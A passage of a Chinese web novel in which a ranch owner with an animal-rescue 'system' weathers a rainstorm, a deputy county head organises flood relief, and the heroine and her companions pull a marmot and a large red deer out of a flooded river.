这种人成为小混混又不是某天突然变坏的，之前肯定没少干坏事！ 姚新泉眼睛一亮，撞了他一下，“师月江你可以啊！你一个外地人怎么查到的？” “有钱能是鬼推磨，不是什么大事儿，也不是什么难事儿，你就放心吧，之后不会再让他们威胁到你跟牧场了！” 姚新泉靠在师月江怀里摸了摸他的下巴，感受到他下巴上的胡茬，触感还挺特别的便又多摸了两下，师月江满脸无语干脆低头蹭了蹭她的脸，两人打闹了一阵后迷迷糊糊睡去了。 等姚新泉再醒来的时候发现师月江正在给小牛犊断脐，感觉到不对她赶忙爬了起来探头朝外看去，“下雨了，不算急，但是雨势不小。” 姚新泉走到外面敞开的地方，听着雨水噼里啪啦落在地面上姚新泉叹了口气，她甚至还想着要是这次系统不准就好了。 系统感觉到她的心声也懒得理她，愚蠢的凡人对系统的强大一无所知！ 已经能站起来的小牛犊和牛妈妈都被关到了旁边牛棚，这边只有才生没多久还要密切观察的几头。她去到旁边将牛棚跟外面敞开处的门关上不让它们出来，但是窗户还是开着，也得通通风。 又去看了看隔壁还没生的那些，母牛的预产期基本都是这几天，现在也就五头还没生了，其中两头黑白花，三头褐牛。她凑上去摸了摸脉，又仔细观察了下后走过来，“ 晚上回去了，别再这边熬了，今天生的可能性不大。而且狗子们这几天都没回屋里睡，他们在这边，如果有什么会叫我们的。” 这雨一下温度立马就降下来了，哪怕穿的是长袖都觉得有点冷，别在这熬感冒可就麻烦了。 石副县长半夜是被雨拍打窗户的声音吵醒，他起身推开窗户感受了一下后眉头便皱了起来。 “老石，怎么了？” 见妻子也想起来他忙阻止，“你不用起，外面下雨了。” 张爱红打了个呵欠，“下雨了怎么了？晚上的天气预报不是也说了明天会有雨吗？” 石副县长摇了摇头，“天气预报说的是小到中雨，但是这雨我看样子估计会越下越大。你记得我那天跟你说老高专门跑过来跟我讲说是有牧民断言会下大暴雨吗？我现在这心里慌得不行！” 张爱红闻言一下便清醒了起来，“大暴雨，你不会还觉得会引发别的吧？” 石副县长沉沉叹了口气，“咱们县里的老百姓住的分散，本来就是山上化雪的时候，这雨一起来他们可能就得受灾了啊！” “咱们县去市里那条路两边的山石平时看着挺结实的，但谁也不能保证会不会有泥石流或者落石之类的，到时候路再堵上……” 石副县长紧紧抿着唇，他突然站起身来，“不行，我得去县里待着，万一有什么事情还能及时处理”，主要是在家里待着，万一真出了洪水家门都出不去，这得耽误多少事情！ “你说说你这，名义上是副县长，但是什么事情都得你操心，上面的人占着”，不等她说完，石副县长的脸瞬间便冷了下来，“张爱红同志，你别在那胡说八道！县长年纪确实大了些，但是该他做的事情他也从来没有逃避过。而且他早年在战场上的军功那也是实打实的，没有调查过就没有发言权，你这样说他是对他的不尊重，也是对我的不尊重！” “我既然身在这个位置上，肩负着这么多人民，那我自然要扛起这个担子，当官不为民做主，不如回家卖红薯，这没什么好说的，以后这种话不许再说了！” 张爱红气哼哼半天，但最终还是老实点头，“行了行了我知道了，你赶紧走吧！家里雨衣你穿上，再带把伞，还有胶鞋，都别忘了！” 石副县长也顾不得说两句软话哄哄她了，匆匆点了下头就往外跑。 看着黑夜里那抹手电筒的光亮张爱红沉沉叹了口气，眼下也算是睡不着了，她去隔壁闺女的屋里看了看，见她没受雨声影响这才放下心来回了卧室。 可听着外面那愈发大了的雨声，张爱红彻底无法入睡了。 艾力也睡不着了，他这两年的觉本就比早前要少了不少，如今心里挂着事情更是彻底睡不着了。 他今天晚上没回自己家去，就是想着万一出了什么事情，他在兽医站又有电话又有药品，万一有什么还能及时做出处理。 如果真出现了大雨甚至是暴雨的话，人命值钱，可牲畜的命一样值钱啊！ 一头羊卖出的钱就够家里孩子上学了，一头牛或者马卖出的钱就够家里孩子娶媳妇或者嫁人了，怎么不珍贵？ 其实他也未必能做多少，但是能做一点是一点吧！ 艾力爬起来开灯整理药品，如果真到了那一步，是少不了抗生素的，恩诺沙星，土霉素还有不少，不说够，但是短期应该不至于没得用。 肯定还得驱虫，伊维菌素、吡喹酮也有一些，这种一般不太会是急症，所以倒还好。 蒙脱石散、口服补盐液，万一牲畜腹泻的话用得上。 还有地塞米松，包括碘伏、红霉素软膏。 另外针筒、纱布、酒精这些也有囤，但是不算多，只能祈祷事情不会到了最坏的程度吧！ 他把统计好的数据都记到本子上，把可能用到的药物都放到容易拿到的地方。 看着黑沉沉和以往不大一样的天空，艾力叹了口气，表情很是难看，他在心中默念，“我们的主啊！求你不要使我们担负我们所不能胜任的。求你饶恕我们，求你赦宥我们，求你怜悯我们！” 第112章 看着外面的雨幕姚新泉叹了口气,“明天才停的话，你觉得多少人得受灾？” 师月江也沉默了，多少人？反正是很多人就是了,人,牲畜,还有一些基础设施,什么不会受影响？ “县城里面应该还好,那边地势虽然相对比较低,但是有河道，而且这河道也算不上窄，应该不至于说山里的水直接流下去，只是如果县里的排水系统不好的话估计还是有可能会内涝,一旦内涝,现在温度又上来了,可能会有疫情啊！”师月江叹了口气，但这都是后面的事情了，等雨停了之后的事情。 张新康在一旁听着两人的话心里也发愁,“姐,你说我爸妈他们”，他脸色不是很好看,生怕万一自己跑出来,他爸妈在家里出了什么事情怎么办。 “你别担心,这雨明天就能停,不至于说是下上几天的”。 张新康先是眼睛一亮，可随即又有些迟疑，真的吗？ 几人都很发愁，可日子还得照过,姚新泉去畜棚里看牲畜，师月江则是穿着雨衣出去去清理排水沟。 此时山下，石副县长听说二乡那边整个乡镇还有下面的居民区全都被淹了简直头都大了。 “先安排人转移，那边不是有个废弃的粮仓吗，那边地势高，虽然荒废了但是还是能挡些风雨，先把人跟牲畜往那边转移。他们那边储备的有没有蒙古包或者随便搭点简易的棚子，就搭在他们乡镇府后面那座山上，注意避着些树，万一到时候打雷就麻烦了。” “四乡那边地势高，应该是没怎么受灾的，从县里还有四乡那边调拨粮食去二乡，还有饮用水以及一些保暖装备、药品。” “县长，据说那边河水上涨已经把路都淹了”，旁边的人迟疑道。 石副县长眉毛都竖了起来，瞪向那人，“你什么意思？路淹了就不用去了是吗？就放任他们在里面淋雨忍饥受冻是吗？” 那人可不敢担这个责任，本来只是想说一下难处的，可没想到此时副县长整个人跟个火药桶一样一点就炸，他还年轻，未来的政治生涯可还长着呢，可不能让人这样误解他，他赶忙解释，“我没这个意思，我是想说看看县里有没有什么救生艇、皮划艇之类的，不只是运送东西，也要救助落水人员呢！” 石副县长看了他一眼先把刚才这事儿放下，正想问问救生设备的问题，就见办公室里一个眼熟的年轻小姑娘突然推开会议室的门冲了进来，没等众人发怒，她便满脸激动道，“石副县长，有人来捐赠救生设备了！” 众人喜上眉梢，石副县长更是什么都顾不上赶忙小跑了出去，会议室的人跟在他身后往外跑，可也不禁低声问了起来，“咱们县里有做这个生意的？他们从哪儿来得东西捐的？” “会不会是从市里拿过来的？”那人问道。 “应该不是，我刚可听说了，从市里过来的路现在可危险着呢，那石头已经落下来好 几块儿了，什么慈善家捐赠东西还得冒着生命危险来啊？” 几人提到的人此时正跟石副县长握手，石副县长看着后面好几车的物资眼睛都亮了，“同志，你们这是？” “领导您好，我是江星集团的董事长助理，我们董事长前两天过来探亲，刚好听人讲说这两天估计会有大雨，他感念咱们县对亲人的关照所以便让我准备了1000件救生衣，20台小型救生艇，每台大概能承载五到六人。另外还有2台机械推进式救生艇，能容纳20人左右，东西我们都调来了，就在后面的车上。” 他又不经意为自己表功，“本来想着有备无患的，但是我总想着这路不是太好走，万一真下了大雨，这东西肯定就得被拦在外面了，所以昨天半夜东西到了之后便赶紧送了过来，但到底路不好走，耽搁到现在。” 石副县长满脸感慨又握了握他的手，“好同志啊好同志！你是不知道，你简直就是及时雨啊！我也不跟你客气了，东西我们收下，等这边事情处理完后我们肯定好好感激你们公司跟董事长。” 想到方才他提的亲戚又忍不住问了一句，“同志你刚讲的亲戚是？” 他很肯定本地没出去过什么能捐献得起这么多物资的富豪，那又是哪里来的亲戚呢？ 助理微微笑了一下，“我们董事长的弟妹跟弟弟在这边开了家不大不小的牧场”，现在也不是说这个的时候，他提了一嘴便没再说这个话题了。 “我租了三辆卡车，想来应该也有不少运输任务吧？您看要不卡车也交由您这边安排？” 送佛送到西，想来师星野在的话也会同意的，况且这么点儿小事儿，他是有决定权的。 石副县长没有功夫跟他寒暄了，但是无论是这份人情还是他刚才提到的什么牧场他都记在了心里，等这事儿处理完之后再琢磨！ 他扭头便对这些设备做出了安排，“六乡那边地势也相对较低，目前虽然没传来什么不好的消息，但是先留两台小型救生艇跟50件救生衣往那边送，其他的全都送到二乡去！” “另外，目前暂时没有明显灾情的几个乡镇，不管是镇政府工作人员还是下面村里的全部都给我动起来，该转移的转移，该安置的安置！” …… 姚新泉是不知道外面如何了，她见张新康实在是担心便给张运秋打了个电话。 电话那头没人接，估计是因为下雨没去店里吧，姚新泉想了想又给他们小区那一栋的一台公共电话打了过去，半晌张运秋跟苏永华才跑过来接电话。 “新泉啊，你那边怎么样？我记得你家牧场里是有条河的，水不会漫上来吧？”苏永华担心的不行。 姚新泉赶忙安抚，“小姨我们这边都挺好的，那条河本来就离我们生活区这边挺远的，就算涨水了也不至于流到这边来的。” “问问房子怎么样，漏不漏水？漏的话别急着补，先找个盆接着，等雨停了再说！”张运秋在一旁插嘴。 姚新泉在那边听到后也赶忙让他们放心，“这房子我爸妈盖了满打满算也就一年出头，没漏水呢，就算漏水了我们肯定不现在就修补！” 张运秋伸着脖子听到后点了点头，两人还想说话就听电话那头张新康扯着嗓子问，“爸妈你们都没事吧？” 两人这才反应过来好大儿还在那边呢！ 苏永华有些尴尬地清了清嗓子，“我们挺好的，水确实排不下去了，外面的水积了快有十公分了吧！但我跟你爸也不出门，家里米面什么的你姐他们之前叮嘱的时候也都买了，短期内没什么问题！” 又赶忙告诫他，“你在你姐那边老实点，别给你姐他们添乱，多帮着干点活儿知道吗？” 听他妈又开始教育他了，张新康撇了撇嘴把电话递给了姚新泉，懒得再听了。 两边又说了几句才挂掉电话，姚新泉摸了摸张新康的脑袋，“这下放心了吧？” 张新康嘴硬，“我本来也没有不放心！” 张运秋两人挂了电话后对视一眼，眼中都是掩饰不住的担心。 要长久这么泡着也不行啊！ 虽然他们不懂盖房子，但是啥房子应该也不能一直泡在水里吧！ 张运秋更发愁的是店里，“我得去一趟，咱们那些摩托车虽然都不是贴地放的，但是卷帘门拦不住水的，那水要是漫进去了肯定麻烦，车一泡谁还能要！到时候咱俩可得亏个底儿掉！” 苏永华也发愁，但是再一想这雨虽然大，但是到底也还没成洪水，只是水排不出去，应该也没什么危险吧！ 再说了，店离小区顶多也就一公里的路，来回也用不上多长时间！ 两人一咬牙，回去穿上雨衣，换了双鞋底防滑一些的鞋子就出门了，雨靴什么的还是算了，这水要是进了靴子里，路都得走不动！ 另一边姚晓洁店里此时一家人也各自端着盆儿往外泼水。 姚晓洁家的店算是上家下店的模式，所以当发现不对时她便把全家人都叫了下来。 这店里不管是粮食米面还是零食什么的，哪个能沾水？ 邓志荣端着个小盆站在一边不想动，姚晓洁冷笑一声，“你就站那儿别动，你就等着我们干！等过会儿我就给你表姐打电话，让她等雨停了就下山！” 邓志荣眼中闪过一抹惊恐，“你，你找那个男人婆干什么？你就会告状！” 姚晓洁嗤笑，“我就告状怎么了，你不是不怕我们吗，那就找你怕的人管你！” 这个年龄也不算小了，平时不帮着家里干活也就算了，这是什么时候？这种时候还耍脾气？ 就是欠揍了！ 邓建发端了盆水倒出去，忍不住在心里叹了口气，他其实觉得总用姚新泉的名义去吓唬孩子也不好。 他这边的亲戚已经算不上什么亲戚了，姚家这边，姚晓刚的两个孩子跟其他人都有距离感，以后也指望不上，以后邓志荣这一辈更亲密一些的亲戚就是姚新泉了，现在把这孩子闹得这么怕人家实在是不好啊！ 再说了，他们做家长的管不住自己的孩子，天天让人家来也不合适啊！ 可他到底也只是想想，什么都没敢多说，只是拿抹布吸了水往盆里挤，然后泼出去。 唉！ 第113章 姚新泉不知道外面现在怎么样了,她给几个亲戚家里打了电话，又打电话到村里问了下马合木提江他们那边怎么样。 雨确实是大，地上积水不浅,但是暂时还没看出成灾的迹象,只是上面也在安排转移,等水下去了再回来。 那人还顺道问了下姚新泉他们要不要跟着转移,姚新泉拒绝了。 “检测到有动物需要救助,宿主是否接收任务？” “这个时候？”姚新泉皱眉看了看外面,这雨下的都有点遮挡视线了，虽然才11点多，但是天黑沉沉的，比平时晚上九十点都要暗,姚新泉不免有些担心。 “危险吗？” “具体危险程度需要宿主自行确认,不过系统觉得不算危险呢！你带上工具就成！” “工具？什么工具？”姚新泉愣了,这到底是要自己救什么啊？正常来说这种下暴雨如果有动物需要救助，应该也是受雨水影响吧？需要什么工具？ “抄网。” 姚新泉愣了，她张了张嘴一时间有些茫然,“系统,你不会是觉得现在涨水了河里鱼多让我趁机去捞点鱼回来吧？” 系统冷笑一声，姚新泉尴尬,“我就开个玩笑,你那么当真做什么？” 她没再跟系统说话,回头看向师月江,“下雨估计不少动物会被冲到河里去，我打算去河边看看能不能救下一些。” 师月江条件反射就想拒绝，开什么玩笑，这么大的雨去河边？这是生怕自己没危险是吧？ 可不知怎 的他突然想到冬天的时候姚新泉那次非要在大雪天出门还真就救了两头高鼻羚羊的事情。 他沉默了半晌后叹了口气,“我跟你一起去，你自己去我不放心。” 虽然不知道为什么她一定要去，但是师月江还是尊重她的意见。他没办法打着为她好的名头阻止她做事，那就只能陪同了。 张新康有些懵，“不是，你们要干嘛去啊？我也要去！” 姚新泉想了想也没拒绝，一个一米七多的大小伙子，放他自己在家里他倒是要胡想八想，还是带着吧！ 几人商量好后带了些东西就赶紧出发，摩托车不好骑，三轮车也一样没办法骑，几人只能步行去河边。 谁都没穿胶鞋，张新康的运动鞋底子稍微有点儿滑，一路上摔了两跤他也没在意。 好不容易到河边，几人都松了一口气，太难了啊！ 姚新泉找了一块儿地势相对较高，水流稍微平缓一些，并且岸边的泥是压实的地方，不至于说人站在那儿几分钟不注意就会陷进去的那种。 她站在岸边看着浑浊的河水，心里很是复杂。 从前这条河的河水永远是清澈见底的，因为里面融合了不少融化的雪水，所以整体水温相对较低，站在岸边看着河水哗啦啦流过的时候只觉得心情愉悦。 后来出了蓝藻爆发的事情，这河水便出现了变化。等蓝藻被大致捞干净后，因为种植沉水植物和挺水植物的原因，不少人在这一片工作，水又变得浑浊不堪。可即便如此，那水也比现在要好得多！ 河水流速加快，水流湍急，站在岸边甚至能明显看到水流快速奔涌而形成的小型漩涡跟浪花。 而且水质特别浑浊，估计是混入了不少泥沙，另外还能看到河里的树枝、野草什么的，甚至还有小型的树干！河水浑浊，别说见底了，水里有什么东西压根就看不到。 姚新泉沉沉叹了口气，正想着怎么找需要救助的动物时便听到系统提示，“注意，距离宿主200米处有一只旱獭正在靠近。” 旱獭？姚新泉想了想体型好像不大啊！ 她看向自己带来的工具，将抄网拿了出来。 张新康看到后便凑了过来，他嚯了一声，“姐，谁家抄网是用铁棍焊的？” 这抄网跟一般的可真不大一样，一看就是用来网大鱼的！ 铁棍焊的杆子跟上面的圆环，下面的网也不像渔网，看上去特别像他们学校的篮球筐网…… “姐，你不会去偷了谁家的篮网吧？” 姚新泉没好气地拍了他一下，“你们学校那破篮筐不就是用尼龙绳做得吗！我这也是找人用尼龙绳编的！” 主要是去年冬天姚新泉去钓鱼的时候，那鱼都太大了，仅用鱼竿实在是不好拉上来，所以她当时就想搞个抄网了。 后来等雪化了之后有一次下山突然想到这个，于是她便去找了个师傅给自己焊接了一根杆子。 她是想着木头的容易断，万一捞到大鱼，杆子断了把鱼放跑了她得气疯…… 不过这些就不用跟张新康说了。 她把抄网拿起来缓缓吐出一口气，看向了河里，那只旱獭应该快到了。 姚新泉不近视，远远的便看见了那只旱獭，张新康也注意到了，没忍住跳了下脚，“真的有，真的有，姐你快把它捞上来！” 师月江无奈地看着激动不已的张新康，其实也是正常的不是吗？暴雨肯定是会冲毁一些小动物的家，把它们带到河水里来得，可能只是猜测不是吗？ 姚新泉顾不得后面两人心里在想什么，她屏气凝神，试探了下觉得长度应该是够的便放下心来，等旱獭逐渐靠近后，她伸出抄网对着那个位置用力一舀，就把旱獭舀了上来！ “耶！”张新康用力锤了下大腿，虽然很想去帮着捞，但是也知道这种时候不能抢，万一掉下去可怎么办？ 铁做得抄网不算轻，再加上泡了水，毛都贴在了身上，看得出全身都肥嘟嘟的旱獭，那重量就更吓人了。 而且旱獭本就受了惊吓，突然悬空更是上窜下跳不老实，又为救援增加了难度。 姚新泉气得咬牙，没忍住吼了起来，“你动个屁动！你再动掉到河里去可没人再去捞你！” 那旱獭一愣，呆呆地看向姚新泉，可却还真老实不动了，看得后面两人惊奇不已。 “姐，这家伙怎么就这么听你的啊？” 姚新泉好不容易把抄网收了上来这才松了口气，见张新康想去摸旱獭，吓得一巴掌就抽了过去。 对上张新康委屈的表情，姚新泉更是来火，“你找死啊！这旱獭身上很有可能携带鼠疫之类的病菌，你想传染吗？” 张新康满脸惊恐地后跳，旱獭也被他吓得用力一个哆嗦，可即便如此还是老实蹲在抄网的位置没敢动。 师月江没忍住笑了一下，这小家伙本来就长得挺傻乎乎的，现在脸上的表情似乎还能看出委屈来，竟有点可爱！ “野生动物能不碰就尽量不碰，谁也不知道它们身上带了什么，知道吗？” 教育过张新康后她这才把抄网拿开，“行了，你赶紧找个地方避雨去吧！远离河边，别再被冲走了！” 旱獭呆呆地看了她一会儿后撒腿就跑。 “姐你不把他带回去啊？” 姚新泉无语，“我带哪儿去？我牧场里那么多小动物，我带回去都传染上鼠疫？到时候你养我啊！” “再说了，它也没受伤，如果只是下雨的话野生动物能活下来的。” 正常情况下，她救助动物的原则就是，老弱病残可能会收留一下，如果只是处于危险境地的动物，那救完了顺手放生就是了。 师月江虽然知道她应该不会把旱獭带回去，但是在她放生之前都是提着心的，这下彻底放心了。 他看了看姚新泉又看了眼河里，“要不咱们轮换着来吧！” 姚新泉没拒绝，此时她正在心里跟系统掰扯积分的问题呢！ “你说多少？你给我多少积分？” “一积分啊？”原本自信的系统被她这态度搞的也有点懵，一积分怎么了？别拿豆包不当干粮！ “点点这种我随手从外面带回家的都一积分，这种我冒着大雨来河边捞的，竟然一积分，你怎么这么黑心啊！黑心资本家！你当我是你家长工了是吧？” “五分，必须五分！” 系统也不高兴了，“凭什么五分？又没什么难度，我还提醒你带工具了，也不需要救治，捞上来放走就行！不给五分，最多三分！” “行，那就三分”。 姚新泉突然的接受倒弄得系统猝不及防，它反应了一会儿后觉得不对，“你最开始就想要三积分是吧？” 姚新泉勾了勾嘴角，“谁说的，我最开始想要十分来着！但你不是不给吗？我想了想毕竟你也帮了我那么多，你也是个善良的好系统，我也不能因为这么点儿小事就跟你闹不愉快，所以三分就三分吧，我也不计较了！” 系统皱眉，是这样吗？好像是的吧？真的是吗？算了，三分就三分吧！ 姚新泉见它不再纠结这个了才放下心来，她的胃口不算大，别说三分了，就算真的是一分她也干！ 系统挣积分 的途径只有救助动物，可动物哪里是那么好救助的？ 况且系统还人性化的在她最忙的时候不给她播报需要救助的动物信息。当然了，倒也不是说不好。 反正就是这积分赚得是真的挺难的，有这个机会为什么不要？ 她看着河里的那只鼠兔，眼疾手快地下网，捞鱼，不对，捞兔，三分到手！ 第114章 见张新康的眼珠子都要掉在这个抄网上了,姚新泉笑得不行将抄网递给他，“重啊，你干一会儿跟我还有你月江哥换！” 张新康个头在他这个年龄不矮,但到底还是个孩子,看着瘦条条的就没劲儿。 张新康虽然不服气但也没说什么,只是憋着一口气要证明给他们看自己力气并不小！ 突然有人捣了自己一下,姚新泉顺着师月江指地方向看去,就见之前那只小旱獭正半藏在一个洞里偷瞄她呢！ 姚新泉忍俊不禁朝它挥了挥手,小旱獭脖子一缩又躲了起来。 姚新泉失笑，目光继续看向河里。 “新康，把那个藻也捞起来”，姚新泉叹气,和师月江对是一眼,眼中都是无奈。 上次杀藻没有用最彻底的手段,所以不可避免还是会因为大雨把泥翻上来带出来一些。 他们也只能遇到就捞掉，剩下的慢慢来了。 “姐，这是不是之前河里那次污染导致的啊？” 姚新泉点了点头,“听说了？” 张新康无奈看了她一眼,“不止听说了，我们老师要求我们借这个事情写作文,我都写了三篇了！” “化学老师也给我们做过相关实验”,况且再说了,县城人就这么多,发生点什么事儿没两天就传的到处都是了。 “你们不知道吧，刘家被人扔臭鸡蛋了！”张新康得意洋洋道。 “刘家？”姚新泉反映了一下才想起来那个王八羔子姓刘来着！ 看他这表情姚新泉心里有了猜测，“不会是你们干的吧？” 张新康翻了个白眼，“我哪有那个本事,我就是跟着扔了两瓶臭水而已！” 接着他跟姚新泉两人讲了一下何为所谓的臭水，“就是我把家里的烂菜叶子、酸了的牛奶还有臭鸡蛋都扔到一个瓶子里发酵，之后打开瓶盖都倒在他家墙上了！” 姚新泉简直目瞪口呆，想到那一幕都觉得鼻子处好似萦绕着一股臭味。 “你们咋想着过去的？” “我家有两个同学家里死了两头羊，他们气得不行，就专门从家里带了牛粪出来扔他家大门上了”，后来有人看到便抓着他们问原因，一听知道是这家人干得好事便也不再拦，而是选择加入。 “他家那个小媳妇还找了人想打我们”，张新康得意一笑，“路过的谁知道这事儿不帮着我们？他们就被吓走了。” “你们同学家里因为这事儿受损的人多吗？”姚新泉后来要么忙着治疗中毒的牛羊，要么就是自家牛生产的事情，根本没来得及跟进后续，也不知道情况如何了。 张新康点了点头，“不少，不过好像死的不多”，也是没办法，只要家里是放牧的或者养的牛羊稍微多一点，那肯定就得靠近水源，这条河算是他们县的母亲河，虽然也不是没有别的河了，但是那要么就是这条河在上游分流出来的，要么就是不知道从哪里冒出来的泉水，反正都不大。 那些小河能哺育的人不多，这两年还好，除了特别偏远的地区以外基本上自来水都入户了，要是没自来水的情况下，大家可都是要喝那条河的水呢！ 因此，甭管家里有没有因为这次的事情遭灾，甭管家里有没有人放牧，反正知道是他家干的后没有一个人不恨的！ 姚新泉点了点头，“心意是好的，但以后不许这么莽”，也就是他们犯了众怒，不然的话他们一群年轻小孩儿贸然跑过去出了事儿谁负责？ 张新康嗯了一声也没再说什么，小心把河里飘着的蓝藻捞起来放到岸边。 “经检测，前方五百米处有一动物需要救助，宿主是否救助？” 没等姚新泉回答，她便看到了不远处有一明显不小的动物在水里挣扎。不只是她，另两人也看到了。 张新康看了看那动物，在看了看自己手里的抄网没忍住咽了下口水，“姐，姐，我好像捞不动啊！” 姚新泉懒得理他，她飞快地从地上捡了两根绳子，一根递给师月江，一根自己拿着，“打活结套，咱俩试试看能不能套到”，那家伙着实是不小，她虽然带了渔网来，但是都不用试她就知道自己没办法靠渔网兜住对方，渔网都得扯破。 她将绳子一段折成环形，留出较长一段，然后用空出来的这部分绕过环并拉近。 她四下打量，就见师月江递给她一根不算长但还挺重的木棍，她赶忙系在绳子上方便抛投。 两人紧紧盯着那个动物，等近了后几人才看出来，“是鹿！” 姚新泉快速打量了一通后刚想说话师月江便道，“别套鹿角，它太重了，很有可能会从根部断裂的，到时候我们抓不到，它还受伤更活不下去了。” 姚新泉想了想也是，还是套身体吧！ 姚新泉屏住呼吸，仔细观察着位置，衡量了下距离后她缓缓吐出一口气，压低了身体，旋转绳子向外抛去！ 张新康紧紧握着双手，忍不住咬住了下唇。就见那绳子快速升空后牢牢套在了鹿的脖子上，一套牢后，活结立马收紧。 师月江等她绳子扔出去后才跟着扔出，就怕两条绳子打架，谁也套不住。 因为那鹿在河水里不停挣扎，恰好前肢露出水面，师月江眼疾手快套住。 张新康用力锤了下双手，都套到了！ 那鹿在水中好像受到了威胁，一时间更是挣扎了起来，两人手上的绳子飞速缩短，姚新泉眼神一凛，将绳子在手上绕了几圈。 她没费力去跟鹿沟通，别说是鹿了，就算是人在溺水的时候，你跟他说让他不要抱着你，放松，你觉得人家能听？ 两人被一股巨力带着往河边快走了两步，吓得张新康一把抱住了姚新泉的腰，也被带着往前挪。 “姐，姐，不行就放掉吧！” 那么大的鹿，就他们三个人，拉个鬼哦！到时候他们三个一脑袋栽到河里去，可没人这样来救他们！ 雨水敲打在姚新泉脸上，她不死心地在心里问，“系统，你能给我什么帮助吗？” 系统没说话，姚新泉也死心了，不管是没办法还是不想帮反正都是没帮。 “树！”姚新泉二人对视一眼，既然没别的办法就只能自救了。 他们之所以会停在这儿，也是因为这边上有一颗大树，能为他们稍微遮遮风雨。 万幸带的绳子很长，姚新泉示意张新康放开自己，“你拽着我这条绳子尾巴赶紧捆到树上去，先固定住，要绑好！” 张新康拿起绳子就往树那边跑，捆上后又如法炮制把师月江那边的绳子也系好，两人这下才松了一口气有空去看那头鹿。 绳子卡在他脖子上，看得出来不是很舒服了，但也没办法。 师月江突然放开了自己的绳子，确认不会松开后便跑到了姚新泉身边，“咱们拉一条！” 张新康也赶紧跑了过来，三人分散开后在师月江的号子下三人一下下用力将鹿逐渐往案件拽，就在几人以为快要成功时，张新康脚下一滑没站稳摔倒了，姚新泉两人受其影响手下一松，受水流影响鹿瞬间被冲了下去，绳子绷直，跟要断了一样。 姚新泉两人吓了一跳，赶忙拽好绳子后才有功夫看向张新康，“没事吧？” 张新康手在衣服上蹭了下，又抹了下眼睛，“我没事！” 姚新泉像是没听到他的鼻音一样点了点头，“去看看绳子有没有栓好，刚才这么一下别绳结都松了！” 张新康过去后，两人对视一眼开始发力。 也不知道是不是鹿感觉到几人是真的在救它了，它努力配合，身高估摸着将近一米六了，到它的脚能勉强踩到河床时它借着水流一个用力终于翻转了过去，算是堪堪在水中站住。 可此时河水远不止一米六深，它一站起来仅能看到一对鹿角。 姚新泉两人吓了一跳，赶紧往岸边拽，张新康也上来帮忙，鹿站住脚也算勉强能用上力气了，顺着几人绳子的方向快步往岸边游来。 等看到鹿头时几人这才松了一口气，接着一鼓作气将鹿拉了上来。 等鹿彻底站到岸上后姚新泉腿一软根本站不住，师月江扶了她一下，结果自己也栽倒在地上 ，两人相视苦笑。 张新康哭得声音根本掩饰不住，“姐你没事吧？” 姚新泉哭笑不得，她把绳子解开，脱下手套擦了下张新康脸上的雨水，“手破了？” 张新康委屈巴巴的，可又觉得自己这么大了也不好哭，他姐都没哭呢！ 他用力吸了下鼻子，“我没事儿，鹿怎么样了？” 他回头看鹿，那鹿也脱力瘫在地上一时间只能看到胸腔剧烈起伏。 “这个体格子，别是马鹿里的首领吧？”姚新泉满眼惊叹。 在河里的时候还看不清，现在这一看，这家伙可真大啊！ 成年的健康雄马鹿一般也就一米二到一米五高，体长的话大概在一米八到两米二三之间吧！ 姚新泉大概比划了一下，这家伙怕是有两米七八的长度吧！ 而高度，师月江也满是感慨，“得有快一米七五了！” 姚新泉吸了口气，比她可都高了大半个头呢！ 第115章 三人躺在地上歇了半天才从脱力的状态恢复过来,姚新泉把手套脱掉看着手上的血痕叹了口气，师月江牵过手来一看眉头就皱了起来，“没事儿,没破皮,就是摩擦的太厉害了。” 家里的麻绳又粗又结实,不然也没办法把这么一个大家伙拉上来。当然了,那就必定摩擦力很强,剌手。 她回来后那是结结实实干了一年的活,就算早年寒暑假也从没闲着过，所以姚新泉的手并不是柔弱无骨或者白皙脆弱的，她手上有不少茧子，虽然也有擦护手霜,但是一样比同龄女孩子粗糙不少。 师月江也一样,他就算看着再文质彬彬,但是人家这么多年的训练也不是白练的，手上的茧子比她厚多了。就像刚才，她能感觉到,自己加持过的力气也比不上师月江。 所以她俩的手也疼,却没有张新康那么夸张。那小子出生没多久他爸妈就偷摸做点小生意了，后来开店后日子那就更好过了,可以说从小到大没怎么吃过苦。这么一摩擦,手上立马就破皮。 这不,还哭鼻子了嘛！ 张新康不知道姚新泉是怎么吐槽他的,他抖着腿小心靠近那头可以算是庞然大物的家伙，眼中满是赞叹，“姐，它也太大了吧！” 姚新泉家里的马都只是体型中等的,其中真算起来其实平安将来的体型会最大，肩高能到一米五多，但因为它们现在还没完全长成，所以比起来倒是炽焰这匹焉耆马相对来说大一点，因为他完全成年了。 但它们比起这头马鹿，无论是高度还是长度都差一截呢！ 看着它那分叉的大角，张新康没忍住想伸手去摸摸，不想那马鹿眼皮子轻轻一抬，扫过张新康时他便忍不住退后了。 “姐，这鹿不是素食动物吗？” 姚新泉倚着师月江笑了起来，“人家是素食不代表没攻击性啊！它那大角随便便能戳死一匹狼！” 张新康没忍住打了个寒颤，赶忙往后退了两步，这家伙要是发起疯来他肯定跑不掉！ 等慢慢缓过来后姚新泉小心靠近它，见它对自己似乎没什么敌意又试探性地伸手去摸摸它的角，“你别动哦，我就摸一下，你要不反抗的我我给你把绳子取了！” 马鹿眨了下眼，像是默认了一样，姚新泉的手在张新康羡慕的目光中缓缓摸上了它的角。老实讲，触感一般，就跟那种长老了的树杈子一样，没什么特别的。 见它确实不抗拒，姚新泉蹲下身来检查它脖子上的绳子，这一看眉头便皱了起来。 “出血了”，她叹了口气轻轻拍了下马鹿的鼻子，马鹿灼热的呼吸喷在她的手心，痒痒的。 “你先跟我回去，我直接把绳子剪断吧！” 勒在脖子上是没办法的办法，都要被河水冲走了哪里还顾得了别的？ 而且别以为套上去容易，它那大角开玩笑的？ 再加上它体重太大了，为了把它拉上来几人那真是费了九牛二虎之力，哪里顾得上它脖子会不会被磨破啊！ 现在绳子都陷到肉里去了，如果解开结把绳子取出来的话那是得抽的，太疼了。 师月江给它把脚上的结打开，当时脚上的绳子更多的也只是固定住它，所以倒没什么伤，只是微微磨破了一些，如果当时拉的这根绳子的话，腿最起码得脱臼！ 姚新泉又检查了下它身上，大大小小的伤口不少，但暂时没看到什么致命伤，这么大的家伙怎么会坠河呢？ 姚新泉想不明白，不过现在也不是想这些的时候，马鹿身上全是暴露的外伤，现在外面雨这么大，必须得带回去，不然的话身上的伤肯定要化脓发炎的。 “先回去歇歇吧，下午要是没事的话可以再来”，姚新泉示意他们拎着东西走，自己拍了拍马鹿的屁股，它缓缓站了起来。 